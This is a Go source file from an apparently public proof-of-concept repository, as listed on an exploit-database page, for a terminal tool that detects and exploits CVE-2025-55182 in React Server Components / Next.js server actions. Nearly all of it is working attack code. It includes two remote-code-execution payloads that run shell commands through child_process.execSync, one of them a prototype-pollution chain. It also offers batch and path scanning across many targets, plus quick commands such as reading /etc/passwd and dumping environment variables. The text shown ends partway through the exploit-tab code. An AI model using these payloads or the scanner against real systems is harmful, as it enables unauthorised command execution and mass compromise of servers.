Exploit database

GH-e9393154a2cff7bdd9aa9936d4ef48e3

mingyisecurity-lab/cve-2025-55182-tools

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-55182

257 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files9
mingyisecurity-lab/cve-2025-55182-toolsRevision abcbb57a23bd

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

main.go

Suggested starting fileGo · 30,807 bytes
package main

import (
	"bytes"
	"crypto/tls"
	"encoding/json"
	"fmt"
	"io"
	"mime/multipart"
	"net/http"
	"strings"
	"sync"
	"time"

	"github.com/charmbracelet/bubbles/textarea"
	"github.com/charmbracelet/bubbles/textinput"
	tea "github.com/charmbracelet/bubbletea"
	"github.com/charmbracelet/lipgloss"
)

// Styles
var (
	titleStyle = lipgloss.NewStyle().
			Bold(true).
			Foreground(lipgloss.Color("205")).
			MarginBottom(1)

	tabStyle = lipgloss.NewStyle().
			Padding(0, 2).
			Foreground(lipgloss.Color("240"))

	activeTabStyle = lipgloss.NewStyle().
			Padding(0, 2).
			Foreground(lipgloss.Color("205")).
			Bold(true).
			Underline(true)

	labelStyle = lipgloss.NewStyle().
			Foreground(lipgloss.Color("39"))

	resultStyle = lipgloss.NewStyle().
			Border(lipgloss.RoundedBorder()).
			BorderForeground(lipgloss.Color("62")).
			Padding(1)

	successStyle = lipgloss.NewStyle().
			Foreground(lipgloss.Color("42"))

	errorStyle = lipgloss.NewStyle().
			Foreground(lipgloss.Color("196"))

	warningStyle = lipgloss.NewStyle().
			Foreground(lipgloss.Color("214"))

	helpStyle = lipgloss.NewStyle().
			Foreground(lipgloss.Color("241"))
)

// Data structures
type Payload struct {
	ID    string   `json:"id"`
	Bound []string `json:"bound"`
}

type ExploitResult struct {
	Success bool   `json:"success"`
	Result  string `json:"result"`
	Error   string `json:"error,omitempty"`
}

type ScanResult struct {
	URL        string
	Vulnerable bool
	Error      string
	Duration   time.Duration
}

type PathScanResult struct {
	URL      string
	Path     string
	FullURL  string
	Vuln     bool
	Error    string
	Duration time.Duration
}

// Common Server Action path dictionary
var defaultPaths = []string{
	"/",
	"/formaction",
	"/action",
	"/actions",
	"/api/action",
	"/api/actions",
	"/api/form",
	"/api/submit",
	"/submit",
	"/form",
	"/rsc",
	"/_rsc",
	"/_next/forms",
	"/server-action",
	"/server-actions",
}

// CVEExploit handles the vulnerability scanning and exploitation
type CVEExploit struct {
	client    *http.Client
	timeout   time.Duration
	verifySSL bool
	userAgent string
}

func NewCVEExploit(timeout time.Duration, verifySSL bool) *CVEExploit {
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: !verifySSL},
	}
	return &CVEExploit{
		client:    &http.Client{Transport: tr, Timeout: timeout},
		timeout:   timeout,
		verifySSL: verifySSL,
		userAgent: "CVE-2025-55182-Exploit/2.0",
	}
}

func (e *CVEExploit) createMultipartPayload(fields map[string]string) ([]byte, string, error) {
	body := &bytes.Buffer{}
	writer := multipart.NewWriter(body)
	for key, val := range fields {
		if err := writer.WriteField(key, val); err != nil {
			return nil, "", err
		}
	}
	if err := writer.Close(); err != nil {
		return nil, "", err
	}
	return body.Bytes(), writer.FormDataContentType(), nil
}

func (e *CVEExploit) CheckVulnerability(targetURL, endpoint string) (bool, error) {
	if !strings.HasPrefix(endpoint, "/") {
		endpoint = "/" + endpoint
	}
	fullURL := strings.TrimSuffix(targetURL, "/") + endpoint

	payloadData := Payload{ID: "vm#toString", Bound: []string{"test"}}
	jsonData, err := json.Marshal(payloadData)
	if err != nil {
		return false, err
	}

	fields := map[string]string{
		"$ACTION_REF_0": "",
		"$ACTION_0:0":   string(jsonData),
	}

	body, contentType, err := e.createMultipartPayload(fields)
	if err != nil {
		return false, err
	}

	req, err := http.NewRequest("POST", fullURL, bytes.NewReader(body))
	if err != nil {
		return false, err
	}
	req.Header.Set("Content-Type", contentType)
	req.Header.Set("User-Agent", e.userAgent)

	resp, err := e.client.Do(req)
	if err != nil {
		return false, err
	}
	defer resp.Body.Close()

	respBody, err := io.ReadAll(resp.Body)
	if err != nil {
		return false, err
	}

	if resp.StatusCode == 500 {
		return false, nil
	}

	var result ExploitResult
	if err := json.Unmarshal(respBody, &result); err == nil {
		if result.Success {
			return true, nil
		}
	}
	return false, nil
}

func (e *CVEExploit) ExecuteCommand(targetURL, endpoint, command string) (string, error) {
	if !strings.HasPrefix(endpoint, "/") {
		endpoint = "/" + endpoint
	}
	fullURL := strings.TrimSuffix(targetURL, "/") + endpoint

	escapedCmd := strings.ReplaceAll(command, "\\", "\\\\")
	escapedCmd = strings.ReplaceAll(escapedCmd, "\"", "\\\"")
	code := fmt.Sprintf(`process.mainModule.require("child_process").execSync("%s").toString()`, escapedCmd)

	payloadData := Payload{ID: "vm#runInThisContext", Bound: []string{code}}
	jsonData, err := json.Marshal(payloadData)
	if err != nil {
		return "", err
	}

	fields := map[string]string{
		"$ACTION_REF_0": "",
		"$ACTION_0:0":   string(jsonData),
	}

	body, contentType, err := e.createMultipartPayload(fields)
	if err != nil {
		return "", err
	}

	req, err := http.NewRequest("POST", fullURL, bytes.NewReader(body))
	if err != nil {
		return "", err
	}
	req.Header.Set("Content-Type", contentType)
	req.Header.Set("User-Agent", e.userAgent)

	resp, err := e.client.Do(req)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()

	respBody, err := io.ReadAll(resp.Body)
	if err != nil {
		return "", err
	}

	var result ExploitResult
	if err := json.Unmarshal(respBody, &result); err != nil {
		return "", fmt.Errorf("failed to parse response: %v", err)
	}

	if result.Success {
		return result.Result, nil
	}
	return "", fmt.Errorf("execution failed: %s", result.Error)
}

func (e *CVEExploit) ExecuteCode(targetURL, endpoint, code string) (string, error) {
	if !strings.HasPrefix(endpoint, "/") {
		endpoint = "/" + endpoint
	}
	fullURL := strings.TrimSuffix(targetURL, "/") + endpoint

	payloadData := Payload{ID: "vm#runInThisContext", Bound: []string{code}}
	jsonData, err := json.Marshal(payloadData)
	if err != nil {
		return "", err
	}

	fields := map[string]string{
		"$ACTION_REF_0": "",
		"$ACTION_0:0":   string(jsonData),
	}

	body, contentType, err := e.createMultipartPayload(fields)
	if err != nil {
		return "", err
	}

	req, err := http.NewRequest("POST", fullURL, bytes.NewReader(body))
	if err != nil {
		return "", err
	}
	req.Header.Set("Content-Type", contentType)
	req.Header.Set("User-Agent", e.userAgent)

	resp, err := e.client.Do(req)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()

	respBody, err := io.ReadAll(resp.Body)
	if err != nil {
		return "", err
	}

	var result ExploitResult
	if err := json.Unmarshal(respBody, &result); err != nil {
		return "", fmt.Errorf("failed to parse response: %v", err)
	}

	if result.Success {
		return result.Result, nil
	}
	return "", fmt.Errorf("execution failed: %s", result.Error)
}

// ExecuteCommandV2 uses the $@ deserialization + Chunk.prototype.then exploit (Next.js 16.0.6+)
// This POC leverages Blob deserialization with Function constructor for RCE
func (e *CVEExploit) ExecuteCommandV2(targetURL, endpoint, command string) (string, error) {
	if !strings.HasPrefix(endpoint, "/") {
		endpoint = "/" + endpoint
	}
	fullURL := strings.TrimSuffix(targetURL, "/") + endpoint

	// Escape command for JavaScript
	escapedCmd := strings.ReplaceAll(command, "\\", "\\\\")
	escapedCmd = strings.ReplaceAll(escapedCmd, "'", "\\'")

	// Build the POC payload using $@ deserialization + Chunk.prototype.then
	// This triggers Blob deserialization with Function constructor
	payload0 := fmt.Sprintf(`{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('%s');","_formData":{"get":"$1:constructor:constructor"}}}`, escapedCmd)

	fields := map[string]string{
		"0": payload0,
		"1": `"$@0"`,
	}

	body, contentType, err := e.createMultipartPayload(fields)
	if err != nil {
		return "", err
	}

	req, err := http.NewRequest("POST", fullURL, bytes.NewReader(body))
	if err != nil {
		return "", err
	}
	req.Header.Set("Content-Type", contentType)
	req.Header.Set("User-Agent", e.userAgent)
	req.Header.Set("Next-Action", "x")

	resp, err := e.client.Do(req)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()

	respBody, err := io.ReadAll(resp.Body)
	if err != nil {
		return "", err
	}

	// For this POC, success is indicated by non-500 response
	if resp.StatusCode == 500 {
		return "", fmt.Errorf("execution failed (status 500)")
	}

	return fmt.Sprintf("Command sent successfully (Status: %d)\nResponse: %s", resp.StatusCode, string(respBody)), nil
}

// CheckVulnerabilityV2 checks using the $@ deserialization method (Next.js 16.0.6+)
func (e *CVEExploit) CheckVulnerabilityV2(targetURL, endpoint string) (bool, error) {
	if !strings.HasPrefix(endpoint, "/") {
		endpoint = "/" + endpoint
	}
	fullURL := strings.TrimSuffix(targetURL, "/") + endpoint

	// Use a harmless payload to check vulnerability
	payload0 := `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"1+1","_formData":{"get":"$1:constructor:constructor"}}}`

	fields := map[string]string{
		"0": payload0,
		"1": `"$@0"`,
	}

	body, contentType, err := e.createMultipartPayload(fields)
	if err != nil {
		return false, err
	}

	req, err := http.NewRequest("POST", fullURL, bytes.NewReader(body))
	if err != nil {
		return false, err
	}
	req.Header.Set("Content-Type", contentType)
	req.Header.Set("User-Agent", e.userAgent)
	req.Header.Set("Next-Action", "x")

	resp, err := e.client.Do(req)
	if err != nil {
		return false, err
	}
	defer resp.Body.Close()

	// If we don't get a 500 error, the target might be vulnerable
	if resp.StatusCode != 500 && resp.StatusCode != 404 {
		return true, nil
	}
	return false, nil
}

func (e *CVEExploit) BatchScan(targets []string, endpoint string, concurrent int) []ScanResult {
	results := make([]ScanResult, 0, len(targets))
	resultsMutex := &sync.Mutex{}
	semaphore := make(chan struct{}, concurrent)
	var wg sync.WaitGroup

	for _, target := range targets {
		wg.Add(1)
		go func(url string) {
			defer wg.Done()
			semaphore <- struct{}{}
			defer func() { <-semaphore }()

			start := time.Now()
			vulnerable, err := e.CheckVulnerability(url, endpoint)
			duration := time.Since(start)

			result := ScanResult{URL: url, Vulnerable: vulnerable, Duration: duration}
			if err != nil {
				result.Error = err.Error()
			}

			resultsMutex.Lock()
			results = append(results, result)
			resultsMutex.Unlock()
		}(target)
	}

	wg.Wait()
	return results
}

// PathScan scans multiple paths for a single target
func (e *CVEExploit) PathScan(targetURL string, paths []string, concurrent int) []PathScanResult {
	results := make([]PathScanResult, 0, len(paths))
	resultsMutex := &sync.Mutex{}
	semaphore := make(chan struct{}, concurrent)
	var wg sync.WaitGroup

	for _, path := range paths {
		wg.Add(1)
		go func(p string) {
			defer wg.Done()
			semaphore <- struct{}{}
			defer func() { <-semaphore }()

			start := time.Now()
			vulnerable, err := e.CheckVulnerability(targetURL, p)
			duration := time.Since(start)

			fullURL := strings.TrimSuffix(targetURL, "/") + p
			result := PathScanResult{
				URL:      targetURL,
				Path:     p,
				FullURL:  fullURL,
				Vuln:     vulnerable,
				Duration: duration,
			}
			if err != nil {
				result.Error = err.Error()
			}

			resultsMutex.Lock()
			results = append(results, result)
			resultsMutex.Unlock()
		}(path)
	}

	wg.Wait()
	return results
}

// Messages for Bubble Tea
type scanResultMsg struct {
	results []ScanResult
}

type singleCheckMsg struct {
	vulnerable bool
	err        error
	target     string
}

type execResultMsg struct {
	result string
	err    error
}

type pathScanResultMsg struct {
	results []PathScanResult
}

// Model
type model struct {
	exploit *CVEExploit

	// Tab state
	activeTab int // 0: Detection, 1: PathScan, 2: Exploit

	// Detection tab inputs
	endpointInput   textinput.Model
	targetsInput    textarea.Model
	concurrentInput textinput.Model

	// Path scan tab inputs
	pathScanTargetInput textinput.Model
	pathDictInput       textarea.Model
	pathConcurrentInput textinput.Model

	// Exploit tab inputs
	exploitTargetInput   textinput.Model
	exploitEndpointInput textinput.Model
	commandInput         textinput.Model
	jsCodeInput          textarea.Model
	exploitMethod        int // 0: v1 (vm#runInThisContext), 1: v2 ($@ deserialization)

	// State
	focusIndex int
	result     string
	status     string
	scanning   bool

	// Quick commands
	quickCmds     []string
	quickCmdIndex int
	showQuickCmds bool

	width  int
	height int
}

func initialModel() model {
	// Detection tab inputs
	endpointInput := textinput.New()
	endpointInput.Placeholder = "/formaction"
	endpointInput.SetValue("/formaction")
	endpointInput.Width = 60
	endpointInput.CharLimit = 256

	targetsInput := textarea.New()
	targetsInput.Placeholder = "http://192.168.1.100:3002\nhttp://example.com:3002"
	targetsInput.SetWidth(60)
	targetsInput.SetHeight(6)

	concurrentInput := textinput.New()
	concurrentInput.Placeholder = "10"
	concurrentInput.SetValue("10")
	concurrentInput.Width = 20
	concurrentInput.CharLimit = 10

	// Path scan tab inputs
	pathScanTargetInput := textinput.New()
	pathScanTargetInput.Placeholder = "http://target.com:3002"
	pathScanTargetInput.Width = 60
	pathScanTargetInput.CharLimit = 256

	pathDictInput := textarea.New()
	pathDictInput.Placeholder = "Custom paths (one per line, leave empty for default)"
	pathDictInput.SetValue(strings.Join(defaultPaths, "\n"))
	pathDictInput.SetWidth(60)
	pathDictInput.SetHeight(8)

	pathConcurrentInput := textinput.New()
	pathConcurrentInput.Placeholder = "10"
	pathConcurrentInput.SetValue("10")
	pathConcurrentInput.Width = 20
	pathConcurrentInput.CharLimit = 10

	// Exploit tab inputs
	exploitTargetInput := textinput.New()
	exploitTargetInput.Placeholder = "http://target.com:3002"
	exploitTargetInput.Width = 60
	exploitTargetInput.CharLimit = 256

	exploitEndpointInput := textinput.New()
	exploitEndpointInput.Placeholder = "/formaction"
	exploitEndpointInput.SetValue("/formaction")
	exploitEndpointInput.Width = 60
	exploitEndpointInput.CharLimit = 256

	commandInput := textinput.New()
	commandInput.Placeholder = "whoami, id, ls -la"
	commandInput.Width = 60
	commandInput.CharLimit = 256

	jsCodeInput := textarea.New()
	jsCodeInput.Placeholder = "Math.PI * 2"
	jsCodeInput.SetWidth(60)
	jsCodeInput.SetHeight(4)

	// Focus first input
	endpointInput.Focus()

	return model{
		exploit:              NewCVEExploit(10*time.Second, false),
		activeTab:            0,
		endpointInput:        endpointInput,
		targetsInput:         targetsInput,
		concurrentInput:      concurrentInput,
		pathScanTargetInput:  pathScanTargetInput,
		pathDictInput:        pathDictInput,
		pathConcurrentInput:  pathConcurrentInput,
		exploitTargetInput:   exploitTargetInput,
		exploitEndpointInput: exploitEndpointInput,
		commandInput:         commandInput,
		jsCodeInput:          jsCodeInput,
		focusIndex:           0,
		quickCmds:            []string{"whoami", "id", "pwd", "ls -la", "cat /etc/passwd", "uname -a", "env", "ps aux"},
		quickCmdIndex:        0,
		width:                120,
		height:               40,
	}
}

func (m model) Init() tea.Cmd {
	return textarea.Blink
}

func (m model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
	var cmds []tea.Cmd

	switch msg := msg.(type) {
	case tea.WindowSizeMsg:
		m.width = msg.Width
		m.height = msg.Height
		return m, nil

	case tea.KeyMsg:
		switch msg.String() {
		case "ctrl+c":
			return m, tea.Quit
		case "esc":
			if m.showQuickCmds {
				m.showQuickCmds = false
				return m, nil
			}
			if !m.anyInputFocused() {
				return m, tea.Quit
			}
			// Blur current input
			m.focusIndex = -1
			m.updateFocus()
			return m, nil
		case "tab":
			if m.showQuickCmds {
				m.quickCmdIndex = (m.quickCmdIndex + 1) % len(m.quickCmds)
				return m, nil
			}
			m.focusIndex++
			m.updateFocus()
			return m, nil
		case "shift+tab":
			if m.showQuickCmds {
				m.quickCmdIndex--
				if m.quickCmdIndex < 0 {
					m.quickCmdIndex = len(m.quickCmds) - 1
				}
				return m, nil
			}
			m.focusIndex--
			if m.focusIndex < 0 {
				m.focusIndex = 0
			}
			m.updateFocus()
			return m, nil
		case "f1", "ctrl+1":
			m.activeTab = 0
			m.focusIndex = 0
			m.updateFocus()
			return m, nil
		case "f2", "ctrl+2":
			m.activeTab = 1
			m.focusIndex = 0
			m.updateFocus()
			return m, nil
		case "f3", "ctrl+3":
			m.activeTab = 2
			m.focusIndex = 0
			m.updateFocus()
			return m, nil
		case "enter":
			if m.showQuickCmds {
				m.commandInput.SetValue(m.quickCmds[m.quickCmdIndex])
				m.showQuickCmds = false
				return m, nil
			}
			return m.handleEnter()
		case "ctrl+q":
			if m.activeTab == 2 {
				m.showQuickCmds = !m.showQuickCmds
				return m, nil
			}
		case "ctrl+e":
			if m.activeTab == 2 {
				m.exploitMethod = (m.exploitMethod + 1) % 2
				return m, nil
			}
		}

	case scanResultMsg:
		m.scanning = false
		m.result = m.formatScanResults(msg.results)
		m.status = "Scan completed"
		return m, nil

	case pathScanResultMsg:
		m.scanning = false
		m.result = m.formatPathScanResults(msg.results)
		m.status = "Path scan completed"
		return m, nil

	case singleCheckMsg:
		m.scanning = false
		if msg.err != nil {
			m.result = errorStyle.Render(fmt.Sprintf("Error: %v", msg.err))
		} else if msg.vulnerable {
			m.result = successStyle.Render(fmt.Sprintf("✓ Vulnerable!\nTarget: %s\n\nThis server is vulnerable to CVE-2025-55182", msg.target))
		} else {
			m.result = warningStyle.Render(fmt.Sprintf("○ Patched\nTarget: %s\n\nThis server is not vulnerable", msg.target))
		}
		m.status = ""
		return m, nil

	case execResultMsg:
		m.scanning = false
		if msg.err != nil {
			m.result = errorStyle.Render(fmt.Sprintf("Error: %v", msg.err))
		} else {
			m.result = successStyle.Render(fmt.Sprintf("=== Execution Result ===\n\n%s", msg.result))
		}
		m.status = ""
		return m, nil
	}

	// Update inputs
	var cmd tea.Cmd
	switch m.activeTab {
	case 0:
		m.targetsInput, cmd = m.targetsInput.Update(msg)
		cmds = append(cmds, cmd)
		m.concurrentInput, cmd = m.concurrentInput.Update(msg)
		cmds = append(cmds, cmd)
	case 1:
		m.pathScanTargetInput, cmd = m.pathScanTargetInput.Update(msg)
		cmds = append(cmds, cmd)
		m.pathDictInput, cmd = m.pathDictInput.Update(msg)
		cmds = append(cmds, cmd)
		m.pathConcurrentInput, cmd = m.pathConcurrentInput.Update(msg)
		cmds = append(cmds, cmd)
	case 2:
		m.exploitTargetInput, cmd = m.exploitTargetInput.Update(msg)
		cmds = append(cmds, cmd)
		m.exploitEndpointInput, cmd = m.exploitEndpointInput.Update(msg)
		cmds = append(cmds, cmd)
		m.commandInput, cmd = m.commandInput.Update(msg)
		cmds = append(cmds, cmd)
	}

	return m, tea.Batch(cmds...)
}

func (m model) anyInputFocused() bool {
	switch m.activeTab {
	case 0:
		return m.targetsInput.Focused() || m.concurrentInput.Focused()
	case 1:
		return m.pathScanTargetInput.Focused() || m.pathDictInput.Focused() || m.pathConcurrentInput.Focused()
	case 2:
		return m.exploitTargetInput.Focused() || m.exploitEndpointInput.Focused() ||
			m.commandInput.Focused()
	}
	return false
}

func (m *model) updateFocus() {
	// Blur all
	m.endpointInput.Blur()
	m.targetsInput.Blur()
	m.concurrentInput.Blur()
	m.pathScanTargetInput.Blur()
	m.pathDictInput.Blur()
	m.pathConcurrentInput.Blur()
	m.exploitTargetInput.Blur()
	m.exploitEndpointInput.Blur()
	m.commandInput.Blur()
	m.jsCodeInput.Blur()

	switch m.activeTab {
	case 0:
		maxFocus := 4 // targets, concurrent, scan, single check
		if m.focusIndex >= maxFocus {
			m.focusIndex = 0
		}
		switch m.focusIndex {
		case 0:
			m.targetsInput.Focus()
		case 1:
			m.concurrentInput.Focus()
		}
	case 1:
		maxFocus := 4 // target, paths, concurrent, scan
		if m.focusIndex >= maxFocus {
			m.focusIndex = 0
		}
		switch m.focusIndex {
		case 0:
			m.pathScanTargetInput.Focus()
		case 1:
			m.pathDictInput.Focus()
		case 2:
			m.pathConcurrentInput.Focus()
		}
	case 2:
		maxFocus := 4 // target, endpoint, command, exec
		if m.focusIndex >= maxFocus {
			m.focusIndex = 0
		}
		switch m.focusIndex {
		case 0:
			m.exploitTargetInput.Focus()
		case 1:
			m.exploitEndpointInput.Focus()
		case 2:
			m.commandInput.Focus()
		}
	}
}

func (m model) handleEnter() (tea.Model, tea.Cmd) {
	if m.scanning {
		return m, nil
	}

	switch m.activeTab {
	case 0:
		// Detection tab
		if m.focusIndex == 2 {
			return m.startBatchScan()
		} else if m.focusIndex == 3 {
			return m.startSingleCheck()
		}
	case 1:
		// Path scan tab
		if m.focusIndex == 3 {
			return m.startPathScan()
		}
	case 2:
		// Exploit tab
		if m.focusIndex == 3 {
			return m.startExecCommand()
		}
	}
	return m, nil
}

func (m model) startBatchScan() (tea.Model, tea.Cmd) {
	targetText := strings.TrimSpace(m.targetsInput.Value())
	if targetText == "" {
		m.result = errorStyle.Render("Please enter at least one target URL")
		return m, nil
	}

	targets := strings.Split(targetText, "\n")
	validTargets := make([]string, 0)
	for _, t := range targets {
		t = strings.TrimSpace(t)
		if t != "" {
			validTargets = append(validTargets, t)
		}
	}

	if len(validTargets) == 0 {
		m.result = errorStyle.Render("No valid targets found")
		return m, nil
	}

	concurrent := 10
	fmt.Sscanf(m.concurrentInput.Value(), "%d", &concurrent)
	if concurrent < 1 || concurrent > 100 {
		concurrent = 10
	}

	m.scanning = true
	m.status = fmt.Sprintf("Scanning %d targets...", len(validTargets))

	return m, func() tea.Msg {
		results := m.exploit.BatchScan(validTargets, "/formaction", concurrent)
		return scanResultMsg{results: results}
	}
}

func (m model) startSingleCheck() (tea.Model, tea.Cmd) {
	targets := strings.Split(strings.TrimSpace(m.targetsInput.Value()), "\n")
	if len(targets) == 0 || targets[0] == "" {
		m.result = errorStyle.Render("Please enter target URL")
		return m, nil
	}

	target := strings.TrimSpace(targets[0])
	m.scanning = true
	m.status = "Checking vulnerability..."

	return m, func() tea.Msg {
		vulnerable, err := m.exploit.CheckVulnerability(target, "/formaction")
		return singleCheckMsg{vulnerable: vulnerable, err: err, target: target}
	}
}

func (m model) startPathScan() (tea.Model, tea.Cmd) {
	target := strings.TrimSpace(m.pathScanTargetInput.Value())
	if target == "" {
		m.result = errorStyle.Render("Please enter target URL")
		return m, nil
	}

	// Parse path dictionary
	pathText := strings.TrimSpace(m.pathDictInput.Value())
	var paths []string
	if pathText == "" {
		paths = defaultPaths
	} else {
		for _, p := range strings.Split(pathText, "\n") {
			p = strings.TrimSpace(p)
			if p != "" {
				paths = append(paths, p)
			}
		}
	}

	if len(paths) == 0 {
		m.result = errorStyle.Render("Path dictionary is empty")
		return m, nil
	}

	concurrent := 10
	fmt.Sscanf(m.pathConcurrentInput.Value(), "%d", &concurrent)
	if concurrent < 1 || concurrent > 100 {
		concurrent = 10
	}

	m.scanning = true
	m.status = fmt.Sprintf("Scanning %d paths...", len(paths))

	return m, func() tea.Msg {
		results := m.exploit.PathScan(target, paths, concurrent)
		return pathScanResultMsg{results: results}
	}
}

func (m model) startExecCommand() (tea.Model, tea.Cmd) {
	target := strings.TrimSpace(m.exploitTargetInput.Value())
	cmd := strings.TrimSpace(m.commandInput.Value())

	if target == "" || cmd == "" {
		m.result = errorStyle.Render("Please enter target URL and command")
		return m, nil
	}

	m.scanning = true
	endpoint := m.exploitEndpointInput.Value()
	exploitMethod := m.exploitMethod

	if exploitMethod == 0 {
		m.status = "Executing command (V1: vm#runInThisContext)..."
		return m, func() tea.Msg {
			result, err := m.exploit.ExecuteCommand(target, endpoint, cmd)
			return execResultMsg{result: result, err: err}
		}
	} else {
		m.status = "Executing command (V2: $@ Chunk.then)..."
		return m, func() tea.Msg {
			result, err := m.exploit.ExecuteCommandV2(target, endpoint, cmd)
			return execResultMsg{result: result, err: err}
		}
	}
}

func (m model) startExecJS() (tea.Model, tea.Cmd) {
	target := strings.TrimSpace(m.exploitTargetInput.Value())
	code := strings.TrimSpace(m.jsCodeInput.Value())

	if target == "" || code == "" {
		m.result = errorStyle.Render("Please enter target URL and JavaScript code")
		return m, nil
	}

	m.scanning = true
	m.status = "Executing JavaScript..."
	endpoint := m.exploitEndpointInput.Value()

	return m, func() tea.Msg {
		result, err := m.exploit.ExecuteCode(target, endpoint, code)
		return execResultMsg{result: result, err: err}
	}
}

func (m model) formatScanResults(results []ScanResult) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== Scan Results (%d targets) ===\n\n", len(results)))

	vulnerableCount := 0
	for _, r := range results {
		if r.Vulnerable {
			vulnerableCount++
			output.WriteString(successStyle.Render(fmt.Sprintf("✓ Vulnerable: %s (%.2fs)\n", r.URL, r.Duration.Seconds())))
		} else if r.Error != "" {
			output.WriteString(errorStyle.Render(fmt.Sprintf("✗ Error: %s - %s\n", r.URL, r.Error)))
		} else {
			output.WriteString(warningStyle.Render(fmt.Sprintf("○ Patched: %s (%.2fs)\n", r.URL, r.Duration.Seconds())))
		}
	}

	output.WriteString("\n=== Summary ===\n")
	output.WriteString(fmt.Sprintf("Total: %d | Vulnerable: %d | Safe: %d\n",
		len(results), vulnerableCount, len(results)-vulnerableCount))

	return output.String()
}

func (m model) formatPathScanResults(results []PathScanResult) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== Path Scan Results (%d paths) ===\n\n", len(results)))

	vulnerableCount := 0
	var vulnPaths []string
	for _, r := range results {
		if r.Vuln {
			vulnerableCount++
			vulnPaths = append(vulnPaths, r.Path)
			output.WriteString(successStyle.Render(fmt.Sprintf("✓ Vulnerable: %s (%.2fs)\n", r.FullURL, r.Duration.Seconds())))
		} else if r.Error != "" {
			output.WriteString(errorStyle.Render(fmt.Sprintf("✗ Error: %s - %s\n", r.Path, r.Error)))
		} else {
			output.WriteString(fmt.Sprintf("○ Safe: %s (%.2fs)\n", r.Path, r.Duration.Seconds()))
		}
	}

	output.WriteString("\n=== Summary ===\n")
	output.WriteString(fmt.Sprintf("Total: %d | Vulnerable: %d | Safe: %d\n",
		len(results), vulnerableCount, len(results)-vulnerableCount))

	if len(vulnPaths) > 0 {
		output.WriteString(successStyle.Render(fmt.Sprintf("\nVulnerable paths found: %s\n", strings.Join(vulnPaths, ", "))))
	}

	return output.String()
}

func (m model) View() string {
	var b strings.Builder

	// Title
	b.WriteString(titleStyle.Render("CVE-2025-55182 Vulnerability Detection & Exploitation Tool"))
	b.WriteString("\n\n")

	// Tabs
	tab1 := tabStyle.Render("[1] Detection")
	tab2 := tabStyle.Render("[2] Path Scan")
	tab3 := tabStyle.Render("[3] Exploit")
	switch m.activeTab {
	case 0:
		tab1 = activeTabStyle.Render("[1] Detection")
	case 1:
		tab2 = activeTabStyle.Render("[2] Path Scan")
	case 2:
		tab3 = activeTabStyle.Render("[3] Exploit")
	}
	b.WriteString(tab1 + "  " + tab2 + "  " + tab3)
	b.WriteString("\n\n")

	switch m.activeTab {
	case 0:
		b.WriteString(m.viewDetectionTab())
	case 1:
		b.WriteString(m.viewPathScanTab())
	case 2:
		b.WriteString(m.viewExploitTab())
	}

	// Result area
	if m.result != "" {
		b.WriteString("\n")
		b.WriteString(resultStyle.Render(m.result))
		b.WriteString("\n")
	}

	// Status
	if m.status != "" {
		b.WriteString("\n")
		b.WriteString(warningStyle.Render(m.status))
	}

	// Help
	b.WriteString("\n\n")
	if m.activeTab == 2 {
		b.WriteString(helpStyle.Render("Tab: Switch input | F1/F2/F3: Switch tabs | Ctrl+E: Switch method | Enter: Execute | Esc: Exit"))
	} else {
		b.WriteString(helpStyle.Render("Tab: Switch input | F1/F2/F3: Switch tabs | Enter: Execute | Esc: Exit"))
	}

	return b.String()
}

func (m model) viewDetectionTab() string {
	var b strings.Builder

	b.WriteString(labelStyle.Render("Target URLs (one per line):"))
	b.WriteString("\n")
	b.WriteString(m.targetsInput.View())
	b.WriteString("\n\n")

	b.WriteString(labelStyle.Render("Concurrent threads:"))
	b.WriteString("\n")
	b.WriteString(m.concurrentInput.View())
	b.WriteString("\n\n")

	// Buttons
	scanBtn := "[ Batch Scan ]"
	singleBtn := "[ Single Check ]"
	if m.focusIndex == 2 {
		scanBtn = activeTabStyle.Render("[ Batch Scan ]")
	}
	if m.focusIndex == 3 {
		singleBtn = activeTabStyle.Render("[ Single Check ]")
	}
	if m.scanning {
		scanBtn = warningStyle.Render("[ Scanning... ]")
		singleBtn = warningStyle.Render("[ Checking... ]")
	}
	b.WriteString(scanBtn + "  " + singleBtn)

	return b.String()
}

func (m model) viewPathScanTab() string {
	var b strings.Builder

	b.WriteString(labelStyle.Render("Target URL:"))
	b.WriteString("\n")
	b.WriteString(m.pathScanTargetInput.View())
	b.WriteString("\n\n")

	b.WriteString(labelStyle.Render("Path dictionary (one per line):"))
	b.WriteString("\n")
	b.WriteString(m.pathDictInput.View())
	b.WriteString("\n\n")

	b.WriteString(labelStyle.Render("Concurrent threads:"))
	b.WriteString("\n")
	b.WriteString(m.pathConcurrentInput.View())
	b.WriteString("\n\n")

	// Button
	scanBtn := "[ Start Path Scan ]"
	if m.focusIndex == 3 {
		scanBtn = activeTabStyle.Render("[ Start Path Scan ]")
	}
	if m.scanning {
		scanBtn = warningStyle.Render("[ Scanning... ]")
	}
	b.WriteString(scanBtn)

	return b.String()
}

func (m model) viewExploitTab() string {
	var b strings.Builder

	b.WriteString(labelStyle.Render("Target URL:"))
	b.WriteString("\n")
	b.WriteString(m.exploitTargetInput.View())
	b.WriteString("\n\n")

	b.WriteString(labelStyle.Render("Endpoint path:"))
	b.WriteString("\n")
	b.WriteString(m.exploitEndpointInput.View())
	b.WriteString("\n\n")

	// Exploit method selector
	b.WriteString(labelStyle.Render("Exploit Method (Ctrl+E to switch):"))
	b.WriteString("\n")
	method1 := "  [V1] vm#runInThisContext"
	method2 := "  [V2] $@ Chunk.then (Next.js 16.0.6+)"
	if m.exploitMethod == 0 {
		method1 = successStyle.Render("● [V1] vm#runInThisContext")
	} else {
		method2 = successStyle.Render("● [V2] $@ Chunk.then (Next.js 16.0.6+)")
	}
	b.WriteString(method1 + "\n" + method2)
	b.WriteString("\n\n")

	b.WriteString(labelStyle.Render("System command: (Ctrl+Q quick commands)"))
